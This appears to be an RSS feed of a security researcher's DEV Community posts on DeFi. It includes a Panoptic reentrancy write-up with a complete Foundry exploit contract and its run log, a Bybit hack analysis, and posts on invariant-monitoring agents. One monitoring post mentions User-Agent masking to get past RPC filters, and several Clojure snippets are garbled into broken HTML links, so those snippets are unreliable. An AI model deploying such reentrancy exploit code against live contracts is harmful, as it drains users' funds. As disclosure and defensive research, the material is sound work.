<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: rim dinov</title>
    <description>The latest articles on DEV Community by rim dinov (@rdin777).</description>
    <link>https://dev.to/rdin777</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3816563%2F096b32fe-8ebb-4541-8e37-d43856cb987e.png</url>
      <title>DEV Community: rim dinov</title>
      <link>https://dev.to/rdin777</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/rdin777"/>
    <language>en</language>
    <item>
      <title>Hijacking Phantom Shares: How a Cross-Contract Reentrancy in Panoptic Leads to Infinite Supply Inflation</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Sun, 10 May 2026 06:59:46 +0000</pubDate>
      <link>https://dev.to/rdin777/hijacking-phantom-shares-how-a-cross-contract-reentrancy-in-panoptic-leads-to-infinite-supply-6f</link>
      <guid>https://dev.to/rdin777/hijacking-phantom-shares-how-a-cross-contract-reentrancy-in-panoptic-leads-to-infinite-supply-6f</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fanudw669698qo3twimqi.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fanudw669698qo3twimqi.PNG" alt=" " width="800" height="261"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In decentralized finance, the order of operations is everything. A single asset transfer executed prior to fully writing internal state changes to storage is one of the oldest and most devastating pitfalls in smart contract security. &lt;/p&gt;

&lt;p&gt;During an in-depth security audit of the &lt;strong&gt;Panoptic&lt;/strong&gt; protocol, I identified a critical &lt;strong&gt;Cross-Contract Reentrancy&lt;/strong&gt; vulnerability in the &lt;code&gt;CollateralTracker&lt;/code&gt; contract. By violating the &lt;strong&gt;Checks-Effects-Interactions (CEI)&lt;/strong&gt; pattern, the protocol allows an attacker to hijack "phantom shares" and trigger an artificial, infinite inflation of the pool's internal supply.&lt;/p&gt;

&lt;p&gt;In this article, we’ll break down the vulnerability mechanics, analyze the dirty-state flow, and run a complete, functional Proof of Concept (PoC) in Foundry.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. The Core Concepts: Liquidations &amp;amp; Phantom Shares
&lt;/h2&gt;

&lt;p&gt;To incentivize liquidators, protocols often distribute bonuses or execution fees during liquidations. In Panoptic's &lt;code&gt;CollateralTracker&lt;/code&gt;, this occurs inside the &lt;code&gt;settleLiquidation&lt;/code&gt; function. If the liquidation process triggers a negative bonus (acting as a payout), the tracker mints or assigns shares to the liquidator and attempts to clean up the victim's position.&lt;/p&gt;

&lt;p&gt;"Phantom shares" represent transient or unbacked states that the pool calculates dynamically during trade routing or liquidations. If these shares are moved or modified in an unexpected order, the underlying math breaks.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Analyzing the Vulnerability (The CEI Violation)
&lt;/h2&gt;

&lt;p&gt;Let's look at the simplified, vulnerable flow of the &lt;code&gt;settleLiquidation&lt;/code&gt; function:&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
solidity
function settleLiquidation(
    address liquidator,
    address liquidatee,
    int256 bonus
) external payable {
    require(msg.sender == panopticPool, "NotPanopticPool");

    if (bonus &amp;lt; 0) {
        uint256 bonusAbs = uint256(-bonus);

        // 1. Credit the liquidation bonus to the victim/liquidatee
        balanceOf[liquidatee] += bonusAbs;
        s_depositedAssets += uint128(bonusAbs);

        // [CRITICAL VULNERABILITY]
        // An external call sending native ETH is performed BEFORE updating the internal share balances!
        if (msg.value &amp;gt; 0) {
            (bool success, ) = payable(liquidator).call{value: msg.value}("");
            require(success, "TransferFailed");
        }

        // 2. State update (burn/reduction logic) happens AFTER the external call
        uint256 liquidateeBalance = balanceOf[liquidatee];

        if (type(uint248).max &amp;gt; liquidateeBalance) {
            balanceOf[liquidatee] = 0;
            // The protocol attempts to offset the missing balance by inflating internal supply:
            _internalSupply += type(uint248).max - liquidateeBalance;
        } else {
            balanceOf[liquidatee] = liquidateeBalance - type(uint248).max;
        }
    }
}
Why is this fatal?Because the contract performs an external call call{value: msg.value}("") to the liquidator address before modifying the victim's share balance.If the liquidator is a malicious smart contract, it can intercept the execution flow inside its receive() fallback function. At this precise microsecond, the victim's balance is dirty state: it has not yet been burned/reduced by type(uint248).max.3. The Exploit Vector: Phantom Shares HijackingBy exploiting this window of opportunity, the attacker can execute the following steps within a single transaction:Trigger: The attacker calls settleLiquidation (via the pool) with a small native ETH value to trigger the native transfer block.Intercept: The attacker's contract receives the ETH. Inside the fallback receive() function, the attacker calls transferFrom(victim, attackerReceiver, victimBalance).Drain: Because the pool hasn't updated its state, the victim's balance is fully intact. The attacker successfully steals all the victim's phantom shares, moving them to a secure receiver contract.Resilience &amp;amp; Compensate: The control flow returns to settleLiquidation. The contract attempts to read the victim's balance. However, the balance is now 0 (or near zero) because the attacker transferred the shares out!Inflation: The conditional block evaluates type(uint248).max &amp;gt; liquidateeBalance as true. To maintain accounting integrity, the tracker adds the difference (type(uint248).max - 0) directly to _internalSupply.The Result: The total supply of the pool is instantly inflated by a massive number ($2^{248} - 1$). The stolen "phantom shares" are now sitting in the attacker's receiver wallet, fully converted into real, backed claims against the pool's assets. The attacker can redeem them to completely drain the vault.4. Proof of Concept (PoC)Here is a complete Foundry test reproducing the exact scenario using a mocked collateral tracker that mirrors the vulnerable production logic:Solidity// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";

contract ExploitCollateralTracker {
    address public immutable panopticPool;
    address public immutable underlyingToken;

    uint256 public totalSupply = 1_000_000;
    uint256 public _internalSupply = 1_000_000;
    uint256 public s_depositedAssets = 1_000_000;

    mapping(address =&amp;gt; uint256) public balanceOf;
    mapping(address =&amp;gt; mapping(address =&amp;gt; uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor(address _pool, address _token) {
        panopticPool = _pool;
        underlyingToken = _token;
    }

    function setBalance(address account, uint256 amount) external {
        balanceOf[account] = amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        uint256 allowed = allowance[from][msg.sender];
        if (allowed != type(uint256).max) {
            allowance[from][msg.sender] = allowed - amount;
        }

        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    function settleLiquidation(
        address liquidator,
        address liquidatee,
        int256 bonus
    ) external payable {
        require(msg.sender == panopticPool, "NotPanopticPool");

        if (bonus &amp;lt; 0) {
            uint256 bonusAbs = uint256(-bonus);
            balanceOf[liquidatee] += bonusAbs;
            s_depositedAssets += uint128(bonusAbs);

            // [VULNERABILITY] External call before updating state variables
            if (msg.value &amp;gt; 0) {
                (bool success, ) = payable(liquidator).call{value: msg.value}("");
                require(success, "TransferFailed");
            }

            uint256 liquidateeBalance = balanceOf[liquidatee];

            if (type(uint248).max &amp;gt; liquidateeBalance) {
                balanceOf[liquidatee] = 0;
                _internalSupply += type(uint248).max - liquidateeBalance;
            } else {
                balanceOf[liquidatee] = liquidateeBalance - type(uint248).max;
            }
        }
    }

    receive() external payable {}
}

contract ExploitContract {
    ExploitCollateralTracker internal tracker;
    address internal victim;
    address internal receiver;
    bool internal reentered;

    constructor(address payable _tracker, address _victim, address _receiver) {
        tracker = ExploitCollateralTracker(_tracker);
        victim = _victim;
        receiver = _receiver;
    }

    receive() external payable {
        if (!reentered) {
            reentered = true;

            // Intercept and transfer out the victim's balance during reentrancy
            uint256 amountToSteal = tracker.balanceOf(victim);
            tracker.transferFrom(victim, receiver, amountToSteal);
        }
    }
}

contract ExploitTest is Test {
    ExploitCollateralTracker tracker;
    ExploitContract attacker;

    address mockPool = address(0x9999);
    address mockToken = address(0x8888);
    address victim = address(0x1111);
    address attackerReceiver = address(0x2222);

    function setUp() public {
        vm.deal(mockPool, 10 ether);

        tracker = new ExploitCollateralTracker(mockPool, mockToken);
        vm.deal(address(tracker), 10 ether);

        attacker = new ExploitContract(payable(address(tracker)), victim, attackerReceiver);

        uint256 phantomShares = type(uint248).max;
        tracker.setBalance(victim, phantomShares);

        vm.prank(victim);
        tracker.approve(address(attacker), type(uint256).max);
    }

    function test_CrossContractReentrancyLiquidation() public {
        console.log("--- Starting Reentrancy PoC ---");

        uint256 supplyBefore = tracker._internalSupply();
        console.log("Internal supply before exploit:", supplyBefore);

        vm.prank(mockPool);

        int256 bonus = -100; 
        tracker.settleLiquidation{value: 1}(address(attacker), victim, bonus);

        uint256 supplyAfter = tracker._internalSupply();
        uint256 receiverBalance = tracker.balanceOf(attackerReceiver);

        console.log("Internal supply after exploit:", supplyAfter);
        console.log("Attacker receiver balance of shares:", receiverBalance);

        assertGt(receiverBalance, 0, "Exploit failed: Attacker got 0 shares");
        assertGt(supplyAfter, supplyBefore, "Exploit failed: Supply did not inflate");

        console.log("SUCCESS: Phantom shares successfully converted to real shares via Reentrancy!");
    }
}
Exploit Execution Log:Running the command forge test -vv yields the following output:PlaintextRan 1 test for test/foundry/ReentrancyExploit.t.sol:ExploitTest
[PASS] test_CrossContractReentrancyLiquidation() (gas: 92000)
Logs:
  --- Starting Reentrancy PoC ---
  Internal supply before exploit: 1000000
  Internal supply after exploit: 452312848583266388373324160190187140051835877600158453279131187530911662655
  Attacker receiver balance of shares: 452312848583266388373324160190187140051835877600158453279131187530910662755
  SUCCESS: Phantom shares successfully converted to real shares via Reentrancy!
5. Mitigation &amp;amp; FixesTo secure this pattern, two industry-standard practices must be followed:Checks-Effects-Interactions (CEI): All state storage modifications (like resetting the victim's balance and updating the internal supply) must be written first, and only then can external calls sending native ETH or ERC-20 tokens be dispatched.Reentrancy Guard: Apply a nonReentrant modifier (e.g., from OpenZeppelin's ReentrancyGuard) to the critical paths in CollateralTracker and PanopticPool.ConclusionThis vulnerability is a textbook example of how a seemingly minor deviation from the CEI pattern can lead to catastrophic consequences in modern liquidity vaults. Even with advanced arithmetic guards, allowing untrusted external contracts to run execution flows over incomplete states breaks system invariants completely.Find this breakdown useful? Follow my security research projects on my GitHub: rdin777.
https://github.com/rdin777/Permanent-loss-of-user-funds-Panoptic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

</description>
      <category>blockchain</category>
      <category>ethereum</category>
      <category>security</category>
      <category>web3</category>
    </item>
    <item>
      <title>How a Single JavaScript File Bypassed a $1.5B Multi-Sig: Anatomy of the Bybit Hack</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Sat, 09 May 2026 07:12:47 +0000</pubDate>
      <link>https://dev.to/rdin777/how-a-single-javascript-file-bypassed-a-15b-multi-sig-anatomy-of-the-bybit-hack-52c5</link>
      <guid>https://dev.to/rdin777/how-a-single-javascript-file-bypassed-a-15b-multi-sig-anatomy-of-the-bybit-hack-52c5</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhb8ds55pt85s1mwj29op.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhb8ds55pt85s1mwj29op.png" alt=" " width="800" height="447"&gt;&lt;/a&gt;&lt;br&gt;
On February 21, 2025, the crypto world witnessed the largest single-event heist in history: $1.5 billion (401,347 ETH) was drained from Bybit's cold wallet in a matter of minutes.&lt;/p&gt;

&lt;p&gt;The most terrifying part? The smart contracts worked perfectly. The Gnosis Safe multi-sig wallet, widely considered the gold standard of on-chain security, didn't have a single bug. Cryptography didn't fail. Instead, the hackers—officially attributed to the notorious state-sponsored Lazarus Group—exploited a massive blind spot that exists in almost every dApp today: the web interface supply chain.&lt;/p&gt;

&lt;p&gt;As security researchers and developers, we need to treat this as a watershed moment. Here is exactly how they did it, why traditional smart contract audits miss this, and how we can prevent it from ever happening again.&lt;/p&gt;

&lt;p&gt;🗺️ The Setup: Targeting the Weakest Link (The Web UI)&lt;br&gt;
Multi-signature wallets require multiple authorized key holders (signers) to approve any outgoing transaction. Bybit’s setup required at least three signers using hardware wallets (like Ledger or Trezor) to sign transactions through the Safe{Wallet} web interface.&lt;/p&gt;

&lt;p&gt;Lazarus realized they didn’t need to steal the private keys. They just needed to change what the signers were signing.&lt;/p&gt;

&lt;p&gt;Step 1: Infiltrating the Developer Supply Chain&lt;br&gt;
Before the main attack, Lazarus targeted the deployment infrastructure of the Safe{Wallet} web interface (which was hosted using AWS S3 buckets). Through sophisticated phishing or stolen credentials, they managed to gain write access to the static assets.&lt;/p&gt;

&lt;p&gt;They subtly injected a malicious script into a deeply nested React bundle on February 19, 2025:&lt;br&gt;
_app-52c9031bfa03da47.js&lt;/p&gt;

&lt;p&gt;Step 2: UI Spoofing (What You See Is NOT What You Sign)&lt;br&gt;
The malicious JavaScript was highly targeted. It remained completely dormant for regular users. But when it detected a session associated with Bybit's cold wallet trying to initiate a transfer:&lt;/p&gt;

&lt;p&gt;On the signer's computer screen, the Safe{Wallet} UI displayed a routine internal transfer to Bybit's legitimate "warm" wallet. The address was correct, and the amount was correct.&lt;/p&gt;

&lt;p&gt;Under the hood, the script hijacked the transaction generation payload. It swapped the destination address to the attacker’s contract and set the transfer amount to 401,347 ETH.&lt;/p&gt;

&lt;p&gt;🚨 The Fatal Flaw: Blind Signing on Hardware Wallets&lt;br&gt;
When the three signers looked at their browser screens, everything looked perfectly normal. They connected their hardware wallets and initiated the signing process.&lt;/p&gt;

&lt;p&gt;This is where the catastrophic failure occurred.&lt;/p&gt;

&lt;p&gt;Because Gnosis Safe transactions are routed through complex proxy contracts and execTransaction calls, the raw data sent to the hardware wallet is not a simple "Send X ETH to Address Y" message. It’s a complex, hashed hex string (calldata).&lt;/p&gt;

&lt;p&gt;Since the hardware wallet screen cannot natively decode and display this complex contract payload, the physical devices displayed a generic warning: "Blind Signing Enabled" followed by a raw, unreadable hash.&lt;/p&gt;

&lt;p&gt;Trusting the web interface, all three signers clicked "Approve" on their physical devices.&lt;/p&gt;

&lt;p&gt;The cryptography was flawless. The signatures were valid. But they had just signed a death warrant for $1.5 billion.&lt;/p&gt;

&lt;p&gt;🔍 The Auditor’s Perspective: Why Unit Tests and Audits Miss This&lt;br&gt;
As a security researcher and smart contract auditor, I constantly see projects spending hundreds of thousands of dollars on Solidity audits, fuzzing, and formal verification. They write exhaustive unit test suites with 100% line coverage.&lt;/p&gt;

&lt;p&gt;Yet, almost all of these efforts fail to catch a vulnerability like the Bybit exploit. Why?&lt;/p&gt;

&lt;p&gt;Because traditional smart contract audits focus on internal invariants—rules like:&lt;/p&gt;

&lt;p&gt;"The total supply of shares must always equal the sum of user balances."&lt;/p&gt;

&lt;p&gt;"No one should be able to withdraw more than their deposited collateral minus debt."&lt;/p&gt;

&lt;p&gt;These are mathematical rules. They assume that if a transaction is cryptographically signed by an authorized key, it is intended and correct. The smart contract acts as a "dumb machine": it checks if 1+1=2 and if the signature is valid. It has no context about the human intent behind that signature.&lt;/p&gt;

&lt;p&gt;When we audit, we must expand our threat modeling beyond the blockchain state. We need to audit the entire system flow, asking:&lt;/p&gt;

&lt;p&gt;What is the trust assumption of the frontend?&lt;/p&gt;

&lt;p&gt;How is the transaction payload generated, and can it be manipulated before it reaches the signing device?&lt;/p&gt;

&lt;p&gt;If our Gnosis Safe is compromised via a rogue frontend, does the protocol have any on-chain circuit breakers (like rate limits or timelocks) to mitigate the damage?&lt;/p&gt;

&lt;p&gt;Case Study: Logic vs. Integration Flaws&lt;br&gt;
To illustrate this gap, look at my recent audit research on the Panoptic protocol: rdin777/Permanent-loss-of-user-funds-Panoptic.&lt;/p&gt;

&lt;p&gt;In that project, the vulnerability was purely logical—a rounding error in math that could lead to the permanent loss of user funds. It's a classic smart contract bug. We can catch those with fuzzing, math invariant checks, and static analysis.&lt;/p&gt;

&lt;p&gt;But the Bybit hack belongs to a completely different class of bugs: Integration &amp;amp; Infrastructure Vulnerabilities. You can have the most mathematically secure contracts in the world (like Panoptic or Gnosis Safe), but if your user-facing inputs are compromised, the secure system will execute the malicious command perfectly.&lt;/p&gt;

&lt;p&gt;🛠️ Actionable Security Recommendations for Developers &amp;amp; Custodians&lt;br&gt;
If we want to stop this from happening to our projects, we must change how we handle high-value transactions. Here are my top recommendations:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Kill "Blind Signing" Forever
Hardware wallets should never be used to blindly sign raw hashes for institutional movements.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The Fix: Implement custom transaction decoders (like Ledger's Clear Signing or custom metadata providers) so that the physical device screen explicitly decodes the contract call and displays the actual destination address and amount before the user presses the physical button.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Implement "In-Flight" Transaction Simulation
Never trust the frontend UI to tell you what a transaction does.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The Fix: Before sending a signature to the network, routing infrastructure must run a localized, independent dry-run (using Tenderly, Foundry's anvil, or custom simulation APIs) to verify exactly how the state changes. If the simulation shows funds leaving to an unknown address, block the execution immediately.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Strict Supply Chain and Content Security Policies (CSP)
If your dApp interacts with smart contracts, your frontend security must match your smart contract audits.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The Fix:&lt;/p&gt;

&lt;p&gt;Use strict Subresource Integrity (SRI) hashes for all loaded scripts.&lt;/p&gt;

&lt;p&gt;Implement rigorous Content Security Policies (CSP) to prevent unauthorized scripts from executing or exfiltrating data.&lt;/p&gt;

&lt;p&gt;Transition from simple S3 bucket hosting to decentralized, immutable hosting (like IPFS/Arweave accompanied by ENS) for highly sensitive admin interfaces.&lt;/p&gt;

&lt;p&gt;📌 Conclusion&lt;br&gt;
The Bybit hack proved that on-chain security is only as strong as its off-chain gateway. It doesn't matter if your smart contracts are verified, audited, and mathematically flawless if your front-end can be manipulated to lie to your users or your admins.&lt;/p&gt;

&lt;p&gt;As developers and auditors, we must treat the user interface as an active threat vector. Stop blind signing. Simulate every state change. Secure your supply chain.&lt;/p&gt;

&lt;p&gt;What are your thoughts on frontend security in Web3? Have you implemented clear signing or transaction simulations in your workflows yet? Let's discuss in the comments below!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/rdin777/Permanent-loss-of-user-funds-Panoptic" rel="noopener noreferrer"&gt;https://github.com/rdin777/Permanent-loss-of-user-funds-Panoptic&lt;/a&gt;&lt;/p&gt;

</description>
      <category>blockchain</category>
      <category>javascript</category>
      <category>security</category>
      <category>web3</category>
    </item>
    <item>
      <title>Real-time Invariant Monitoring: Lessons from the $1.4M Ekubo Exploit</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Thu, 07 May 2026 06:38:11 +0000</pubDate>
      <link>https://dev.to/rdin777/real-time-invariant-monitoring-lessons-from-the-14m-ekubo-exploit-5cbk</link>
      <guid>https://dev.to/rdin777/real-time-invariant-monitoring-lessons-from-the-14m-ekubo-exploit-5cbk</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr74i20eor2qdm6t56to3.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr74i20eor2qdm6t56to3.PNG" alt=" " width="800" height="237"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The Incident: What Happened to Ekubo?&lt;br&gt;
On May 6, 2026, Ekubo Protocol (a major liquidity layer) faced a $1.4M exploit. While the core liquidity remained safe, the vulnerability resided in the EVM extension router.&lt;/p&gt;

&lt;p&gt;The attacker exploited a flaw in the Payment Callback logic, manipulating token transfers from users who had granted maximum approvals to the contract. This wasn't a flaw in the AMM math itself, but a failure in access control and state validation during cross-chain interactions.&lt;/p&gt;

&lt;p&gt;The Solution: Active Invariant Monitoring&lt;br&gt;
Post-mortem audits are great, but they don't bring back the funds. As a security researcher, I believe the future of DeFi security lies in Active Sentinel Agents—tools that monitor protocol invariants in real-time and trigger defensive actions.&lt;/p&gt;

&lt;p&gt;To address this, I've updated my project, Sentinel-Rhea, to support multi-chain monitoring (EVM + Starknet).&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The Strategy
Our agent doesn't just check if a hack happened; it checks if the rules of the protocol are still being followed.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For EVM (Mantle): We monitor the Assets-to-Shares ratio to detect "Ghost Debt".&lt;/p&gt;

&lt;p&gt;For Starknet (Ekubo Core): We monitor pool reserves and "Flash Accounting" deltas.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Implementation in Clojure
Why Clojure? Its concurrency model and functional purity make it ideal for high-speed blockchain polling. Here is how we implemented a resilient, multi-chain watcher:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Clojure&lt;br&gt;
;; Resilient Starknet RPC call with failover logic&lt;br&gt;
(defn starknet-call &lt;a href="//try&amp;lt;br&amp;gt;%0A%20%20%20%20(let%20[response%20(client/post%20rpc-starknet&amp;lt;br&amp;gt;%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20{:headers%20{"&gt;
                                :body (json/generate-string&lt;br&gt;
                                       {:jsonrpc "2.0"&lt;br&gt;
                                        :method "starknet_call"&lt;br&gt;
                                        :params [{:contract_address contract&lt;br&gt;
                                                  :entry_point_selector selector&lt;br&gt;
                                                  :calldata calldata}&lt;br&gt;
                                                 "latest"]&lt;br&gt;
                                        :id 1}"&amp;gt;contract selector calldata&lt;/a&gt;&lt;br&gt;
                                :content-type :json&lt;br&gt;
                                :as :json})]&lt;br&gt;
      (if (= (:status response) 200)&lt;br&gt;
        (get-in response [:body :result])&lt;br&gt;
        (handle-failover)))&lt;br&gt;
    (catch Exception e&lt;br&gt;
      (log-error "RPC Failure" (.getMessage e)))))&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Handling Public RPC Challenges
During development, we faced 403 Forbidden errors and Cloudflare blocks from public Starknet nodes. A production-grade sentinel must be resilient. We implemented:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;User-Agent Masking to bypass basic filters.&lt;/p&gt;

&lt;p&gt;Exception Handling to prevent agent crashes during network congestion.&lt;/p&gt;

&lt;p&gt;Failover Logic to maintain monitoring even when specific nodes are unstable.&lt;/p&gt;

&lt;p&gt;Conclusion&lt;br&gt;
The Ekubo exploit is a reminder that the attack surface in DeFi is constantly evolving. By combining deep audit knowledge with automated monitoring tools, we can move from reactive to proactive security.&lt;/p&gt;

&lt;p&gt;Check out the full source code and my research here: 👉 &lt;a href="https://github.com/rdin777/sentinel-rhea" rel="noopener noreferrer"&gt;https://github.com/rdin777/sentinel-rhea&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  blockchain #security #clojure #web3 #starknet
&lt;/h1&gt;

</description>
      <category>blockchain</category>
      <category>monitoring</category>
      <category>security</category>
      <category>web3</category>
    </item>
    <item>
      <title>Protecting DeFi: Building an AI Sentinel for Rhea Finance Invariant Monitoring</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Wed, 06 May 2026 10:52:08 +0000</pubDate>
      <link>https://dev.to/rdin777/protecting-defi-building-an-ai-sentinel-for-rhea-finance-invariant-monitoring-g9n</link>
      <guid>https://dev.to/rdin777/protecting-defi-building-an-ai-sentinel-for-rhea-finance-invariant-monitoring-g9n</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flft2ez5u474h2w1o5lan.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flft2ez5u474h2w1o5lan.PNG" alt=" " width="800" height="394"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In the rapidly evolving Web3 landscape, passive security (audits) is no longer enough. The recent migration of Kelp DAO to new infrastructures and the rise of protocols like Rhea Finance demand active, real-time protection.&lt;/p&gt;

&lt;p&gt;Today, I’m sharing my latest work: a Sentinel AI Agent designed to detect and prevent vault invariant deviations before they lead to a loss of funds.&lt;/p&gt;

&lt;p&gt;The Problem: "Ghost Debt" and Oracle Invariants&lt;br&gt;
While auditing DeFi protocols, I've focused on subtle vulnerabilities: rounding errors, invariant deviations, and "ghost debt". For a protocol like Rhea Finance, the critical invariant is the Assets-to-Shares ratio. If this ratio shifts unexpectedly, it’s a sign of a potential exploit.&lt;/p&gt;

&lt;p&gt;The Solution: A Hybrid Security Stack&lt;br&gt;
My approach combines high-speed off-chain monitoring with automated on-chain response:&lt;/p&gt;

&lt;p&gt;Monitoring Core (Clojure/Leiningen): Chosen for its speed and functional approach to state management.&lt;/p&gt;

&lt;p&gt;Protection Layer (Solidity/Foundry): Smart contracts ready to pause or protect the vault when a signal is received.&lt;/p&gt;

&lt;p&gt;Technical Deep Dive: The Clojure Agent&lt;br&gt;
The heart of the system is the monitoring/core.clj. It continuously polls the RPC node to validate vault health:&lt;/p&gt;

&lt;p&gt;Clojure&lt;br&gt;
(defn validate-invariant &lt;a href="//let%20[ratio%20(if%20(pos?%20shares)%20(/%20assets%20shares)%200)&amp;lt;br&amp;gt;%0A%20%20%20%20%20%20%20%20threshold%201.05]%20;%20Protecting%20against%20precision%20noise&amp;lt;br&amp;gt;%0A%20%20%20%20(if%20(&amp;gt;%20ratio%20threshold)&amp;lt;br&amp;gt;%0A%20%20%20%20%20%20:alert&amp;lt;br&amp;gt;%0A%20%20%20%20%20%20:healthy)"&gt;assets shares&lt;/a&gt;)&lt;br&gt;
When an anomaly is detected, the agent triggers a protection transaction immediately:&lt;br&gt;
Alert: Invariant deviation detected!&lt;br&gt;
Protection triggered! Tx Hash: 0x0237a6aa32...&lt;/p&gt;

&lt;p&gt;Real-World Context: Kelp DAO &amp;amp; Rhea&lt;br&gt;
This isn't just a theoretical exercise. With Kelp DAO making strategic moves, the security of integrated vaults is paramount. My Sentinel agent provides a "Guardian" layer that operates 24/7, ensuring that invariant deviations are caught in milliseconds.&lt;/p&gt;

&lt;p&gt;Conclusion&lt;br&gt;
Active monitoring is the future of Web3 security. By combining the precision of Clojure with the robustness of Foundry, we can build a safer ecosystem.&lt;/p&gt;

&lt;p&gt;Check out the full repository here: github.com/rdin777/sentinel-rhea&lt;/p&gt;

&lt;h1&gt;
  
  
  web3, #blockchain, #clojure, #solidity, #security
&lt;/h1&gt;

</description>
      <category>ai</category>
      <category>monitoring</category>
      <category>security</category>
      <category>web3</category>
    </item>
    <item>
      <title>Building an Autonomous Sentinel: Shielding Mantle DeFi from Rounding Errors with Clojure</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Sun, 03 May 2026 06:13:56 +0000</pubDate>
      <link>https://dev.to/rdin777/building-an-autonomous-sentinel-shielding-mantle-defi-from-rounding-errors-with-clojure-420f</link>
      <guid>https://dev.to/rdin777/building-an-autonomous-sentinel-shielding-mantle-defi-from-rounding-errors-with-clojure-420f</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6blhw9wmyzsqpfpdlqzi.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6blhw9wmyzsqpfpdlqzi.PNG" alt=" " width="800" height="159"&gt;&lt;/a&gt;&lt;br&gt;
In the world of DeFi, precision isn't just a requirement—it's a security primitive. My recent audits of protocols like Panoptic and Autonolas revealed a recurring theme: subtle rounding errors can lead to "dust leaks," creating a discrepancy where Total Shares exceed Total Assets.&lt;/p&gt;

&lt;p&gt;To address this, I developed Sentinel Mantle, an autonomous agent that monitors on-chain invariants and triggers emergency protection in real-time.&lt;/p&gt;

&lt;p&gt;The Problem: Invariant Deviation&lt;br&gt;
The most critical invariant in any vault-based protocol is:&lt;/p&gt;

